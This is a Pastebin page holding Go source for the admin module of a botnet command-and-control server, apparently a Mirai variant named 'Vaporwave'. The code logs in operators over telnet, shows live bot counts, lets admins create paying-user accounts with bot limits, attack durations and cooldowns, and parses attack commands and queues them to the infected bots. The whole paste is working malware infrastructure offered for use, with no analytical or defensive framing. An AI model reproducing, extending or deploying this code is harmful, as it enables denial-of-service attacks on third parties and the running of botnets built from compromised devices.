Advertisement
mysql_Anarchy

[ GO ] Vaporwave Admin.go | Cancer AF

Jun 17th, 2018
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 8.32 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4.     "fmt"
  5.     "net"
  6.     "time"
  7.     "strings"
  8.     "strconv"
  9. )
  10.  
  11. type Admin struct {
  12.     conn    net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16.     return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20.     this.conn.Write([]byte("\033[?1049h"))
  21.     this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23.     defer func() {
  24.         this.conn.Write([]byte("\033[?1049l"))
  25.     }()
  26.  
  27.     // Get username
  28.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  29.     this.conn.Write([]byte("\033[0;96mUsername\033[37m: \033[0m"))
  30.     username, err := this.ReadLine(false)
  31.     if err != nil {
  32.         return
  33.     }
  34.  
  35.     // Get password
  36.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  37.     this.conn.Write([]byte("\033[0;96mPassword\033[37m: \033[0m"))
  38.     password, err := this.ReadLine(true)
  39.     if err != nil {
  40.         return
  41.     }
  42.  
  43.     this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  44.     this.conn.Write([]byte("\r\n"))
  45.  
  46.     var loggedIn bool
  47.     var userInfo AccountInfo
  48.     if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  49.         this.conn.Write([]byte("\033[2J\033[1;1H"))
  50.         this.conn.Write([]byte("\r\033[91m[!] INVALAD INFORMATION\r\n"))
  51.         this.conn.Write([]byte("\033[91mpress any key to exit\033[0m"))
  52.         buf := make([]byte, 1)
  53.         this.conn.Read(buf)
  54.         return
  55.     }
  56.  
  57.     this.conn.Write([]byte("\r\n\033[0m"))
  58.     go func() {
  59.         i := 0
  60.         for {
  61.             var BotCount int
  62.             if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  63.                 BotCount = userInfo.maxBots
  64.             } else {
  65.                 BotCount = clientList.Count()
  66.             }
  67.  
  68.             time.Sleep(time.Second)
  69.             if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected\007", BotCount))); err != nil {
  70.                 this.conn.Close()
  71.                 break
  72.             }
  73.             i++
  74.             if i % 60 == 0 {
  75.                 this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  76.             }
  77.         }
  78.     }()
  79.  
  80.     this.conn.Write([]byte("\033[2J\033[1;1H"))
  81.  
  82.     for {
  83.         var botCatagory string
  84.         var botCount int
  85.         this.conn.Write([]byte("\x1b[1;36m" + username + "\x1b[0;37m@\x1b[1;35mVaporwave\x1b[0;37m# \033[0m"))
  86.         cmd, err := this.ReadLine(false)
  87.  
  88.         if err != nil || cmd == "exit" || cmd == "quit" {
  89.             return
  90.         }
  91.         if cmd == "" {
  92.             continue
  93.         }
  94.         if cmd == "clear" || cmd == "cls" || cmd == "c" {
  95.         this.conn.Write([]byte("\033[2J\033[1H"))
  96.         continue
  97.         }
  98.         botCount = userInfo.maxBots
  99.  
  100.         if userInfo.admin == 1 && cmd == "adduser" {
  101.             this.conn.Write([]byte("Enter new username: "))
  102.             new_un, err := this.ReadLine(false)
  103.             if err != nil {
  104.                 return
  105.             }
  106.             this.conn.Write([]byte("Enter new password: "))
  107.             new_pw, err := this.ReadLine(false)
  108.             if err != nil {
  109.                 return
  110.             }
  111.             this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  112.             max_bots_str, err := this.ReadLine(false)
  113.             if err != nil {
  114.                 return
  115.             }
  116.             max_bots, err := strconv.Atoi(max_bots_str)
  117.             if err != nil {
  118.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  119.                 continue
  120.             }
  121.             this.conn.Write([]byte("Max attack duration (-1 for none): "))
  122.             duration_str, err := this.ReadLine(false)
  123.             if err != nil {
  124.                 return
  125.             }
  126.             duration, err := strconv.Atoi(duration_str)
  127.             if err != nil {
  128.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  129.                 continue
  130.             }
  131.             this.conn.Write([]byte("Cooldown time (0 for none): "))
  132.             cooldown_str, err := this.ReadLine(false)
  133.             if err != nil {
  134.                 return
  135.             }
  136.             cooldown, err := strconv.Atoi(cooldown_str)
  137.             if err != nil {
  138.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  139.                 continue
  140.             }
  141.             this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  142.             confirm, err := this.ReadLine(false)
  143.             if err != nil {
  144.                 return
  145.             }
  146.             if confirm != "y" {
  147.                 continue
  148.             }
  149.             if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  150.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  151.             } else {
  152.                 this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
  153.             }
  154.             continue
  155.         }
  156.         if cmd[0] == '*' {
  157.             countSplit := strings.SplitN(cmd, " ", 2)
  158.             count := countSplit[0][1:]
  159.             botCount, err = strconv.Atoi(count)
  160.             if err != nil {
  161.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  162.                 continue
  163.             }
  164.             if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  165.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  166.                 continue
  167.             }
  168.             cmd = countSplit[1]
  169.         }
  170.         if cmd[0] == '-' {
  171.             cataSplit := strings.SplitN(cmd, " ", 2)
  172.             botCatagory = cataSplit[0][1:]
  173.             cmd = cataSplit[1]
  174.         }
  175.  
  176.         atk, err := NewAttack(cmd, userInfo.admin)
  177.         if err != nil {
  178.             this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  179.         } else {
  180.             buf, err := atk.Build()
  181.             if err != nil {
  182.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  183.             } else {
  184.                 if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  185.                     this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  186.                 } else if !database.ContainsWhitelistedTargets(atk) {
  187.                     clientList.QueueBuf(buf, botCount, botCatagory)
  188.                 } else {
  189.                     fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  190.                 }
  191.             }
  192.         }
  193.     }
  194. }
  195.  
  196. func (this *Admin) ReadLine(masked bool) (string, error) {
  197.     buf := make([]byte, 1024)
  198.     bufPos := 0
  199.  
  200.     for {
  201.         n, err := this.conn.Read(buf[bufPos:bufPos+1])
  202.         if err != nil || n != 1 {
  203.             return "", err
  204.         }
  205.         if buf[bufPos] == '\xFF' {
  206.             n, err := this.conn.Read(buf[bufPos:bufPos+2])
  207.             if err != nil || n != 2 {
  208.                 return "", err
  209.             }
  210.             bufPos--
  211.         } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  212.             if bufPos > 0 {
  213.                 this.conn.Write([]byte(string(buf[bufPos])))
  214.                 bufPos--
  215.             }
  216.             bufPos--
  217.         } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  218.             bufPos--
  219.         } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  220.             this.conn.Write([]byte("\r\n"))
  221.             return string(buf[:bufPos]), nil
  222.         } else if buf[bufPos] == 0x03 {
  223.             this.conn.Write([]byte("^C\r\n"))
  224.             return "", nil
  225.         } else {
  226.             if buf[bufPos] == '\x1B' {
  227.                 buf[bufPos] = '^';
  228.                 this.conn.Write([]byte(string(buf[bufPos])))
  229.                 bufPos++;
  230.                 buf[bufPos] = '[';
  231.                 this.conn.Write([]byte(string(buf[bufPos])))
  232.             } else if masked {
  233.                 this.conn.Write([]byte("*"))
  234.             } else {
  235.                 this.conn.Write([]byte(string(buf[bufPos])))
  236.             }
  237.         }
  238.         bufPos++
  239.     }
  240.     return string(buf), nil
  241. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement